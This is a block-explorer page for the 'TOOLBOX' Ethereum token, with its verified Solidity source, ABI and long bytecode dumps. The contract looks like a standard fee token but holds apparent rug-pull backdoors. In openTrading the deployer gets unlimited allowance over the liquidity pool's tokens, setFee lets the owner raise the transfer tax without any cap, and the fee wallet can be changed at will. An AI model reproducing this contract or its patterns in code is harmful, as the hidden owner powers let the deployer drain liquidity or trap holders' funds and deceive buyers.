ETH Price: $3,245.54 (+3.03%)
Gas: 1 Gwei

Token

(T)(O)(O)(L)(B)(O)(X) ((T)(O)(O)(L)(B)(O)(X))
 

Overview

Max Total Supply

1,000,000 (T)(O)(O)(L)(B)(O)(X)

Holders

54

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.764862277 (T)(O)(O)(L)(B)(O)(X)

Value
$0.00
0xcbe0f27f3519f3e46908cf8dc5ffeb9ac81d49ec
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TOOLBOX

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-28
*/

/**
████████╗░█████╗░░█████╗░██╗░░░░░██████╗░░█████╗░██╗░░██╗
╚══██╔══╝██╔══██╗██╔══██╗██║░░░░░██╔══██╗██╔══██╗╚██╗██╔╝
░░░██║░░░██║░░██║██║░░██║██║░░░░░██████╦╝██║░░██║░╚███╔╝░
░░░██║░░░██║░░██║██║░░██║██║░░░░░██╔══██╗██║░░██║░██╔██╗░
░░░██║░░░╚█████╔╝╚█████╔╝███████╗██████╦╝╚█████╔╝██╔╝╚██╗
░░░╚═╝░░░░╚════╝░░╚════╝░╚══════╝╚═════╝░░╚════╝░╚═╝░░╚═╝


Tg: https://t.me/toolboxerc
website: https://toolbox.finance

*/

pragma solidity ^0.8.9;

// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract TOOLBOX is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1_000_000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));

    uint256 private _reflectionFee;
    uint256 private _fee;

    uint256 private _taxFee=0;

    address payable private _devWallet = payable(0xFF56d88BADeb3d58515597e6FE53Fe55ED47D3D9); 

    string private constant _name = unicode"(T)(O)(O)(L)(B)(O)(X)";
    string private constant _symbol = unicode"(T)(O)(O)(L)(B)(O)(X)";
    uint8 private constant _decimals = 9;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;

    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    uint256 private _maxTxAmount = 1_000_000 * 10**9;
    uint256 private _maxWalletSize = 20_000 * 10**9;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _rOwned[_msgSender()] = _rTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_devWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
            _reflectionFee = 0;
            _fee = _taxFee;
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance>0) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }else{
          _reflectionFee = 0;
          _fee = 0;
        }

        _tokenTransfer(from,to,amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
    }

    function sendETHToFee(uint256 amount) private {
        _devWallet.transfer(amount);
    }

    function updateDevWallet(address newAddr) external onlyOwner {
        _devWallet = payable(newAddr);
    }

    function openTrading() external payable onlyOwner() {
        require(!tradingOpen,"trading is already open");
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _tTotal);
        
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _approve(address(uniswapV2Pair), msg.sender, type(uint).max);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        
        swapEnabled = true;
        tradingOpen = true;
    }

    function _tokenTransfer(address sender, address recipient, uint256 amount) private {
        _transferStandard(sender, recipient, amount);
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, , uint256 tTeam) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate =  _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee) private {
        _rTotal = _rTotal.sub(rFee);
    }

    receive() external payable {}

    function manualswap() external {
        require(_msgSender() == _devWallet);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }

    function manualsend() external {
        require(_msgSender() == _devWallet);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }


    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _fee);
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tTeam = tAmount.mul(TeamFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

	  function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function setFee(uint256 taxFee) public onlyOwner {
        _taxFee = taxFee;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFee","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAddr","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261001766038d7ea4c68000600019610161565b61002390600019610183565b6006556000600955600a80546001600160a01b03191673ff56d88badeb3d58515597e6fe53fe55ed47d3d9179055600c805461ffff60a81b1916905566038d7ea4c68000600d556512309ce54000600e5534801561008057600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506006543360008181526002602090815260408083209490945581546001600160a01b039081168352600582528483208054600160ff1991821681179092553085528685208054821683179055600a5490921684528584208054909216179055925166038d7ea4c680008152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36101aa565b60008261017e57634e487b7160e01b600052601260045260246000fd5b500690565b818103818111156101a457634e487b7160e01b600052601160045260246000fd5b92915050565b611782806101b96000396000f3fe60806040526004361061010d5760003560e01c806370a082311161009557806395d89b411161006457806395d89b4114610119578063a9059cbb146102ed578063c3c8cd801461030d578063c9567bf914610322578063dd62ed3e1461032a57600080fd5b806370a0823114610285578063715018a6146102a5578063751039fc146102ba5780638da5cb5b146102cf57600080fd5b806323b872dd116100dc57806323b872dd146101dc578063313ce567146101fc57806349bd5a5e1461021857806369fe0e2d146102505780636fc3eaec1461027057600080fd5b806306fdde0314610119578063095ea7b31461016657806318160ddd146101965780631816467f146101ba57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b506040805180820182526015815274285429284f29284f29284c29284229284f2928582960581b6020820152905161015d9190611447565b60405180910390f35b34801561017257600080fd5b506101866101813660046114aa565b610370565b604051901515815260200161015d565b3480156101a257600080fd5b5066038d7ea4c680005b60405190815260200161015d565b3480156101c657600080fd5b506101da6101d53660046114d6565b610387565b005b3480156101e857600080fd5b506101866101f73660046114f3565b6103dc565b34801561020857600080fd5b506040516009815260200161015d565b34801561022457600080fd5b50600c54610238906001600160a01b031681565b6040516001600160a01b03909116815260200161015d565b34801561025c57600080fd5b506101da61026b366004611534565b610445565b34801561027c57600080fd5b506101da610474565b34801561029157600080fd5b506101ac6102a03660046114d6565b6104a1565b3480156102b157600080fd5b506101da6104c3565b3480156102c657600080fd5b506101da610537565b3480156102db57600080fd5b506000546001600160a01b0316610238565b3480156102f957600080fd5b506101866103083660046114aa565b610573565b34801561031957600080fd5b506101da610580565b6101da6105b6565b34801561033657600080fd5b506101ac61034536600461154d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061037d33848461093c565b5060015b92915050565b6000546001600160a01b031633146103ba5760405162461bcd60e51b81526004016103b190611586565b60405180910390fd5b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b60006103e9848484610a60565b61043b843361043685604051806060016040528060288152602001611725602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610d7e565b61093c565b5060019392505050565b6000546001600160a01b0316331461046f5760405162461bcd60e51b81526004016103b190611586565b600955565b600a546001600160a01b0316336001600160a01b03161461049457600080fd5b4761049e81610db8565b50565b6001600160a01b03811660009081526002602052604081205461038190610df6565b6000546001600160a01b031633146104ed5760405162461bcd60e51b81526004016103b190611586565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105615760405162461bcd60e51b81526004016103b190611586565b66038d7ea4c68000600d819055600e55565b600061037d338484610a60565b600a546001600160a01b0316336001600160a01b0316146105a057600080fd5b60006105ab306104a1565b905061049e81610e7a565b6000546001600160a01b031633146105e05760405162461bcd60e51b81526004016103b190611586565b600c54600160a01b900460ff161561063a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103b1565b600b80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610675308266038d7ea4c6800061093c565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d791906115bb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610724573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074891906115bb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610795573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b991906115bb565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d71947306107e9816104a1565b6000806107fe6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610866573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061088b91906115d8565b5050600c546108a791506001600160a01b03163360001961093c565b600c54600b5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af11580156108fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109219190611606565b5050600c805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b03831661099e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b1565b6001600160a01b0382166109ff5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b1565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ac45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b1565b6001600160a01b038216610b265760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b1565b60008111610b885760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103b1565b6001600160a01b03831660009081526005602052604090205460ff16158015610bca57506001600160a01b03821660009081526005602052604090205460ff16155b15610d63576000600755600954600855600c546001600160a01b038481169116148015610c055750600b546001600160a01b03838116911614155b8015610c2a57506001600160a01b03821660009081526005602052604090205460ff16155b15610ce657600d54811115610c815760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103b1565b600e5481610c8e846104a1565b610c98919061163e565b1115610ce65760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103b1565b6000610cf1306104a1565b600c54909150600160a81b900460ff16158015610d1c5750600c546001600160a01b03858116911614155b8015610d315750600c54600160b01b900460ff165b8015610d3d5750600081115b15610d5d57610d4b81610e7a565b478015610d5b57610d5b47610db8565b505b50610d6e565b600060078190556008555b610d79838383610ff4565b505050565b60008184841115610da25760405162461bcd60e51b81526004016103b19190611447565b506000610daf8486611651565b95945050505050565b600a546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610df2573d6000803e3d6000fd5b5050565b6000600654821115610e5d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103b1565b6000610e67610fff565b9050610e738382611022565b9392505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ec257610ec2611664565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3f91906115bb565b81600181518110610f5257610f52611664565b6001600160a01b039283166020918202929092010152600b54610f78913091168461093c565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fb190859060009086903090429060040161167a565b600060405180830381600087803b158015610fcb57600080fd5b505af1158015610fdf573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b610d79838383611064565b600080600061100c611159565b909250905061101b8282611022565b9250505090565b6000610e7383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611197565b6000806000806000611075866111c5565b6001600160a01b038e16600090815260026020526040902054959a5093985091965094509092506110a891905086611222565b6001600160a01b03808a1660009081526002602052604080822093909355908916815220546110d79085611264565b6001600160a01b0388166000908152600260205260409020556110f9816112c3565b6111028361130d565b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161114791815260200190565b60405180910390a35050505050505050565b600654600090819066038d7ea4c680006111738282611022565b82101561118e5750506006549266038d7ea4c6800092509050565b90939092509050565b600081836111b85760405162461bcd60e51b81526004016103b19190611447565b506000610daf84866116eb565b60008060008060008060008060006111e28a600754600854611320565b92509250925060006111f2610fff565b905060008060006112058e878787611375565b919e509c509a509598509396509194505050505091939550919395565b6000610e7383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d7e565b600080611271838561163e565b905083811015610e735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b1565b60006112cd610fff565b905060006112db83836113c5565b306000908152600260205260409020549091506112f89082611264565b30600090815260026020526040902055505050565b60065461131a9082611222565b60065550565b600080808061133a606461133489896113c5565b90611022565b9050600061134d60646113348a896113c5565b905060006113658261135f8b86611222565b90611222565b9992985090965090945050505050565b600080808061138488866113c5565b9050600061139288876113c5565b905060006113a088886113c5565b905060006113b28261135f8686611222565b939b939a50919850919650505050505050565b6000826000036113d757506000610381565b60006113e3838561170d565b9050826113f085836116eb565b14610e735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103b1565b600060208083528351808285015260005b8181101561147457858101830151858201604001528201611458565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461049e57600080fd5b600080604083850312156114bd57600080fd5b82356114c881611495565b946020939093013593505050565b6000602082840312156114e857600080fd5b8135610e7381611495565b60008060006060848603121561150857600080fd5b833561151381611495565b9250602084013561152381611495565b929592945050506040919091013590565b60006020828403121561154657600080fd5b5035919050565b6000806040838503121561156057600080fd5b823561156b81611495565b9150602083013561157b81611495565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156115cd57600080fd5b8151610e7381611495565b6000806000606084860312156115ed57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561161857600080fd5b81518015158114610e7357600080fd5b634e487b7160e01b600052601160045260246000fd5b8082018082111561038157610381611628565b8181038181111561038157610381611628565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116ca5784516001600160a01b0316835293830193918301916001016116a5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261170857634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176103815761038161162856fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122013c4f89140877d6bbaa1af6860856df5da8a232603bccb47b11339447a3371f364736f6c63430008130033

Deployed Bytecode

0x60806040526004361061010d5760003560e01c806370a082311161009557806395d89b411161006457806395d89b4114610119578063a9059cbb146102ed578063c3c8cd801461030d578063c9567bf914610322578063dd62ed3e1461032a57600080fd5b806370a0823114610285578063715018a6146102a5578063751039fc146102ba5780638da5cb5b146102cf57600080fd5b806323b872dd116100dc57806323b872dd146101dc578063313ce567146101fc57806349bd5a5e1461021857806369fe0e2d146102505780636fc3eaec1461027057600080fd5b806306fdde0314610119578063095ea7b31461016657806318160ddd146101965780631816467f146101ba57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b506040805180820182526015815274285429284f29284f29284c29284229284f2928582960581b6020820152905161015d9190611447565b60405180910390f35b34801561017257600080fd5b506101866101813660046114aa565b610370565b604051901515815260200161015d565b3480156101a257600080fd5b5066038d7ea4c680005b60405190815260200161015d565b3480156101c657600080fd5b506101da6101d53660046114d6565b610387565b005b3480156101e857600080fd5b506101866101f73660046114f3565b6103dc565b34801561020857600080fd5b506040516009815260200161015d565b34801561022457600080fd5b50600c54610238906001600160a01b031681565b6040516001600160a01b03909116815260200161015d565b34801561025c57600080fd5b506101da61026b366004611534565b610445565b34801561027c57600080fd5b506101da610474565b34801561029157600080fd5b506101ac6102a03660046114d6565b6104a1565b3480156102b157600080fd5b506101da6104c3565b3480156102c657600080fd5b506101da610537565b3480156102db57600080fd5b506000546001600160a01b0316610238565b3480156102f957600080fd5b506101866103083660046114aa565b610573565b34801561031957600080fd5b506101da610580565b6101da6105b6565b34801561033657600080fd5b506101ac61034536600461154d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061037d33848461093c565b5060015b92915050565b6000546001600160a01b031633146103ba5760405162461bcd60e51b81526004016103b190611586565b60405180910390fd5b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b60006103e9848484610a60565b61043b843361043685604051806060016040528060288152602001611725602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610d7e565b61093c565b5060019392505050565b6000546001600160a01b0316331461046f5760405162461bcd60e51b81526004016103b190611586565b600955565b600a546001600160a01b0316336001600160a01b03161461049457600080fd5b4761049e81610db8565b50565b6001600160a01b03811660009081526002602052604081205461038190610df6565b6000546001600160a01b031633146104ed5760405162461bcd60e51b81526004016103b190611586565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105615760405162461bcd60e51b81526004016103b190611586565b66038d7ea4c68000600d819055600e55565b600061037d338484610a60565b600a546001600160a01b0316336001600160a01b0316146105a057600080fd5b60006105ab306104a1565b905061049e81610e7a565b6000546001600160a01b031633146105e05760405162461bcd60e51b81526004016103b190611586565b600c54600160a01b900460ff161561063a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103b1565b600b80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610675308266038d7ea4c6800061093c565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d791906115bb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610724573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040